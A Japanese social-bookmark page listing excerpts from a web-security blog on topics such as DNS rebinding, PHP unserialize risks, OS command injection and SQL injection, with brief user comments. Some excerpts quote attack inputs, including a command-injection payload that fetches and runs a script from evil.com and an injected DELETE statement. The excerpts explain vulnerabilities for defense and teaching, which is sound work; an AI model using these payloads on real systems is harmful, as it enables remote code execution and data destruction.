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ブックマーク / blog.tokumaru.org (24)

  • [書評] ハッキングAPI ―Web APIを攻撃から守るためのテスト技法

    サマリ ハッキングAPI―Web APIを攻撃から守るためのテスト技法(2023年3月27日発売)を読んだ。書は、Web APIに対するセキュリティテストの全体像と具体的なテスト方法を記載している。ペンテスターは、APIの検出、APIエンドポイントの分析、攻撃(テスト)を行う必要があり、そのために必要な情報がすべて記載されている。また、実習のためのツールと「やられサイト」を複数紹介し、具体的なトレーニング方法を解説している。単にツールやサイトの使い方の説明にとどまらず、格的なペネトレーションテストの考え方を説明している。 書の想定読者はAPIのペネトレーションテストを実施するペンテスター及びペンテスターを目指す人であるが、API開発者やウェブアプリケーション脆弱性診断員にとっても有益な内容を多く含む。 重要事項説明 書の監修者の一人(洲崎俊氏)と評者は知人関係にある 評者が読んだ書

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    kenzy_n 2023/03/27
    悪意を持ったAPIから身を守る方法も気になる
  • DNSリバインディング(DNS Rebinding)対策総まとめ

    サマリ DNSリバインディングが最近注目されている。Google Chromeは最近になってローカルネットワークへのアクセス制限機能を追加しており、その目的の一つがDNSリバインディング対策になっている。Googleが提供するWiFiルータGoogle Nest WiFiはデフォルトでDNSリバインディング対策機能が有効になっている。 DNSリバインディング対策は、攻撃対象アプリケーションで行うべきものであるが、ブラウザ、PROXYサーバー、リゾルバ等でも保護機能が組み込まれている。稿ではそれら対策機能の状況と対策の考え方について説明する。 DNSリバインディング(DNS Rebinding)とは DNSリバインディングはDNS問い合わせの時間差を利用した攻撃です。DNSのTTL(キャッシュ有効期間)を極めて短くした上で、1回目と2回目の問い合わせ結果を変えることにより、IPアドレスのチ

    DNSリバインディング(DNS Rebinding)対策総まとめ
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    kenzy_n 2022/05/16
    ミリ秒の攻防
  • とある通販サイトに学ぶ自動ログイン機能のバッドプラクティス

    サマリとある通販サイトにて「 メールアドレス・パスワードを保存する」機能がありますが、サイトにクロスサイトスクリプティング(XSS)脆弱性がサイトにあると生のパスワードが漏洩する実装となっています。稿では、この実装方式を紹介し、なぜ駄目なのか、どうすべきなのかを紹介します。 記事の最後にはセミナーのお知らせを掲載しています。 はじめに家人がテレビを見ていて欲しい商品があるというので、あまり気は進まなかったのですが、その商品を検索で探して購入することにしました。「気が進まない」というのは、利用実績のないサイトはセキュリティが不安だからという理由ですが、この不安は的中してしまいました。 最初の「えっ?」はパスワード登録のところでして、パスワードを再入力する箇所で「確認のためもう一度、コピーせず直接入力してください」とあるのですよ。私は乱数で長く複雑なパスワードを入力しかけていたのですが、コピ

    とある通販サイトに学ぶ自動ログイン機能のバッドプラクティス
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    kenzy_n 2022/03/14
    セキュリティの穴と感じさせたり、実際に穴だったり。
  • PHPの脆弱性CVE-2018-17082はApacheの脆弱性CVE-2015-3183を修正したら発現するようになったというお話

    最近自宅引きこもりで時間ができたので、YouTube動画を投稿するようになりました。みんな見てねー。 徳丸浩のウェブセキュリティ講座 そんなことで、次の動画は、お気に入りのPHPの脆弱性 CVE-2018-17082 を取り上げようと思ったんですよ。表向きXSSで出ているけど、金床さんのツッコミにもあるように、実はHTTP Request Smuggling(HRS)だというやつです。でね、下準備であらためて調べていると、なんかよく分からない挙動がワラワラと出てくる。なんじゃ、こりゃ。CVE-2018-17082 全然分からない。僕は気分で CVE-2018-17082 を扱っている… で、雑に整理すると、以下のような感じなんです。 古い環境だとCVE-2018-17082は発現しない(2015年以前) 少し古い環境だとCVE-2018-17082は発現する 新しい環境だとCVE-2018

  • [書評]サイバー攻撃 ネット世界の裏側で起きていること

    中島明日香氏の近著『サイバー攻撃 ネット世界の裏側で起きていること』を読んだので紹介したい。書は、一見すると入門者向けの初歩的なセキュリティ解説書の体裁をとっているが、その内部に著者の恐ろしい野望が秘められていると感じた。 重要事項説明 著者と評者には特筆すべき利害関係はない 評者は書を自費で購入した(献等ではない) この記事のリンクにはアフィリエイトが含まれる はじめに 書は、ブルーバックスの1冊として、サイバーセキュリティの分野の、特に脆弱性について焦点をあて、入門的な解説を試みるものである。書6ページから、「書で扱う内容」の一節を引用しよう。 書の目的は、適切なサイバー攻撃対策を講じる際の一助となることです。そこで、脆弱性そのものとそれを突く攻撃手法について、情報科学の知識を持たない人でも理解できるように、基的なところから解説します。 この一節だけでも、書の狙いが意

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    kenzy_n 2018/01/31
    サイバー世界での攻防
  • SQLiteのクォートにまつわる奇妙な仕様

    SQLiteでは、ISO SQL標準同様に、文字列リテラルはシングルクォートで囲み、識別子をクォートする場合は、ダブルクォートで囲むことになっています。 'foo' : 文字列リテラル "foo" : 識別子(テーブル名、列名等) しかし、マニュアルによると、SQLiteのクォーティングには例外があります。それを実例で紹介しましょぅ。まずは、実験の準備として、列 a だけを持つテーブル a を作成します。 $ sqlite3 test.db sqlite> CREATE TABLE a(a integer); sqlite> INSERT INTO a VALUES(1); sqlite> SELECT * FROM a; 1 sqlite> 続いて、以下を実行します。実行結果はどうなるでしょうか? sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM

    kenzy_n
    kenzy_n 2017/03/23
    クォーティングの例外
  • Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた

    以前の記事CMS四天王のバリデーション状況を調査したところ意外な結果になったで報告したように、Joomla!はログイン名の制限が非常にゆるやかになっています。であれば、🍣とか、💩などを含むログイン名が登録できるのだろうかという疑問が生じました。 とはいえ、以前、Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因で報告したように、少なくともJoomla! 3.4.5までは、MySQLの設定上 UTF-8 の4バイト文字は登録できず、それ以降の文字が全て切り詰められるという問題がありました。 このため、「admin🍣」というログイン名を登録しようとすると、🍣の切り詰めが起こって、adminユーザを二重に登録できなるのではないでしょうか? 試してみる Joomla! 3.4.8の環境を用意して管理者ユーザーを「admin」としておきます。下記のように、default

    Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた
    kenzy_n
    kenzy_n 2017/01/02
    文字化ける
  • PHPの全バージョンの挙動をApacheモジュールとして試す

    この投稿は PHP Advent Calendar 2016 の16日目の記事です。 エグゼクティブサマリ PHPのバージョン間の挙動の違いを調査するツールとして、@hnwによるphpallや、それを改造したphpcgiallがあったが、現実のPHPの利用環境とは違いがあり、検証の妨げになる場合があった。このため、PHPのバージョン毎にApacheを異なるポートで動かすことにより、全てのバージョン(229種)のPHPをApacheモジュールとして動作させることに成功し、modphpallと命名した。modphpallはPHPの検証に有効であることを、キャリッジリターンのみで起こるPHPヘッダインジェクションを用いて確認した。 はじめに 昨日の日記では、PHPの全バージョンをCGIモードで試す phpcgiall について紹介しました。HTTPヘッダインジェクションやセッションの挙動について

    PHPの全バージョンの挙動をApacheモジュールとして試す
    kenzy_n
    kenzy_n 2016/12/16
    まだまだ旧verのものも動いている故に
  • 東京の図書館で技術書を借りよう

    こんにちは。東京都品川区在住の徳丸です。東京で消耗しながら生活しています。 都会での生活には、家賃が高いとか、通勤が地獄のようだ、などのデメリット(消耗)がありますが、一方メリットもたくさんあります。書籍が手に入りやすいこともその一つです。若い頃地方の工場(鹿児島県霧島市)でエンジニアとして生活していて痛感したことの一つに、 田舎では技術書との出会いが不自由だ ということがありました。なので東京出張の旅に大きな書店に出向いて技術書を買いあさっていました。書泉グランデにドラゴンブックの原書が平積みにされていたのを見たのは今から20年以上前のことですが、私はその衝撃を今でも生々しく覚えています。 実は東京は大きな書店があるというだけでなく、公共図書館技術書が多く所蔵されていることをご存知でしょうか? かつて、図書館技術書があると図書館に行きたくなくなるとおっしゃられた市長がおられましたが…

    kenzy_n
    kenzy_n 2016/02/19
    バージョンがいくつか前のものが置いてあったな
  • PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

    既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。 ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。 $status = array( "height" => 167, "weight" => 50, "sight" => 1.2 ); setcookie("status", serialize($status)); クッキーの受け取り側は以下のコードです。 print_r(unserialize($_COOKIE['status'])); 出力結果は以下

  • 嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた

    今年の5月1日に、仙台市内のホテルで多重予約のトラブルが発生したと報道されています。 部屋数203室の仙台市のビジネスホテルで、9月18~23日の宿泊予約を数千件受け付けるトラブルがあった。アイドルグループ「嵐」のライブが宮城県内で開催される期間だった。インターネットでの申し込みが殺到し、システム障害が起きたとみられるという。 トラブルがあったのは、仙台市泉区の「ホテルルートイン仙台泉インター」。ホテルなどによると、9月19、20、22、23日に宮城スタジアム(宮城県利府町)で嵐がライブを開くことが明らかになった後の5月1日午前5時ごろ、ネットを使った予約申し込みが殺到していることに気づいたという。 203室のホテルなのに「予約」数千件 嵐公演で殺到か:朝日新聞デジタル より引用 5月1日の朝に何があったのか調べてみると、この日の早朝にテレビや新聞でコンサートの情報が流れたようですね。 お

    嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた
  • 「10日でおぼえるPHP入門教室 第4版」はセキュリティ面で高評価

    弊社社の麻布十番移転に伴い、社近くの麻布図書館を利用しています。麻布図書館は土地柄のイメージにあう瀟洒な建物で、蔵書がない場合は港区の他の図書館から取り寄せ(無料です)ができますので、よく利用しています。今回は、山田祥寛さんの「10日でおぼえるPHP入門教室 第4版 」を借りて読んでみました。一読して、書がセキュリティにもよく配慮されていることがわかりましたので、以下にご紹介したいと思います。 クロスサイトスクリプティング(XSS) 表示の際にHTMLエスケープするという原則を忠実に守っています。そのため、下記の e() という関数を定義して呼び出しています。 function e($str, $charset = 'UTF-8') { return htmlspecialchars($str, ENT_QUOTES, $charset); } その他にもXSS対策として重要な下記の

  • Webアプリケーション脆弱性診断の検査対象をどう絞り込めばよいか

    ソニーDNAさんの『入門!基礎からわかる「失敗しないWeb診断業者の選び方」』というブログ記事を読みました。 全体的に穏当な内容で異論はないのですが、興味深い内容なので、屋上屋を架すようですが少し追加して考えてみたいと思います。 私が特に注目したのは以下の箇所です。 2. 検査対象を適切に絞れるか? セキュリティ対策をくまなく実施できれば安心ですが、それは大きな費用がかかり現実的ではないというケースも多いでしょう。そのため、Web診断では検査対象を適切に絞り込むことが必要です。ログイン画面や課金機能、個人情報管理機能など、セキュリティ対策が特に求められる機能を重点的に検査するには、検査対象を明確にすることが重要になります。 上記の考え方は、脆弱性診断の現場でよく行われているもので、筆者もこれに従うことは多いのですが、検査対象の選定は重要なのでもう少し掘り下げて考えてみたいと思います。 脆弱

  • JSON SQL Injection、PHPならJSONなしでもできるよ

    DeNAの奥さんと、はるぷさんがJSON SQL Injectionについて公表されています。 The JSON SQL Injection Vulnerability 不正なJSONデータによるSQL Injectionへの対策について (Json.pm+SQLクエリビルダー) 上記の記事は、主にPerlスクリプトがJSONデータを受け取るシナリオで説明されています。もちろん、この組み合わせに限定したはなしではないわけで、それではPHPではどうだろうと思い調べてみました。 JSON SQL Injectionとは 以下、はるぷさんの「不正なJSONデータによる…」にしたがってJSON SQL Injectionについて説明します。 Perl向けのSQLジェネレータの一つであるSQL::Makerにおいて、以下のスクリプトを想定します。 my ($sql, @bind) = $builde

  • よくわかるPHPの教科書 PHP5.5対応版のクロスサイト・スクリプティング

    たにぐちまことさんの よくわかるPHPの教科書がこのたび改版されて、よくわかるPHPの教科書 【PHP5.5対応版】として出版されました。旧版はmysql関数を使ってSQL呼び出ししていましたが、mysql関数がPHP5.5にて非推奨となったための緊急対処的な内容となっているようです。つまり、従来mysql関数を呼び出していた箇所をmysqliの呼び出しに変更したというのが、主な変更点のようで、これ以外はあまり変更点は見あたりません。 既に、Amazonでは、熱烈な読者の方からの詳細のレビューが届いています。 神御降臨! 言わずと知れたPHPプログラミング書籍のロングセラー。 2010年9月に発売された前作の改訂版。 PHPのバージョンも最新の5.5に対応、内容は前作と殆ど同じ。 少し前に前作を購入した方も書を購入した方がいいでしょう。 【中略】 それにしても、帯の「3万人に読まれた定

    kenzy_n
    kenzy_n 2014/03/10
    単純であるが強い対策
  • IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる

    昨日の日記「IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる」にて、福森大喜さんから教えていただいた内容として、ファイルアップロードのHTMLフォーム(enctype="multipart/form-data")にて、アップロードするファイル名とファイルの中身を外部から指定できることを報告しました。この際にIE8以前という条件がありましたが、今度は、三井物産セキュアディレクションの望月岳さんから、「それIE9以降でもできるよ」と教えていただきました。既にご存じだったそうです。福森さん、望月さんという日を代表するバグハンターから「秘伝のたれ」をおすそわけいただいたようで、興奮気味ですw まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。 <form enctype="multipart/form-data" action="pro_ad

  • 書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性

    書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。 はじめに Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。 気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。 http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496 より引用 質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。 <?php // 略 $pro_gazou=$_FILES['gazou']; // 略 if($pro_gazou['size']>0) { if ($pro_

  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

  • PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能

    基礎からのPHPという書籍を読んでおりましたら、SQLインジェクションの攻撃例として、以下のSQL文ができあがる例が紹介されていました。PHP+PDO+MySQLという組み合わせです。 SELECT * FROM tb2 WHERE ban=1;delete from tb2 2つのSQL文がセミコロンで区切って1つにまとめられていますが、これを「複文(multiple statement)」と言います。私は、SQLインジェクション攻撃の文脈で複文が使える組み合わせを調べたことがあり、PHPMySQLという組み合わせでは、複文は使えないと思っていましたので、この攻撃は成立しないのではないかと思いました。 しかし、決めつけも良くないと思い手元の環境で動かしてみたところ、あっさり動くではありませんか。 PDOを用いてMySQLを呼び出す場合は複文が実行できると気づきましたが、なぜPDOの場合

  • XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

    メールアドレスの「ルール」に関する話題が盛り上がっていますね。 「メールアドレスのルール」系まとめがそろって間違ってるのでご注意を 「メールアドレスのルール」なんて使ってはいけない3つの理由 これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、 稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。 まず、攻撃対象として、以下

    XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス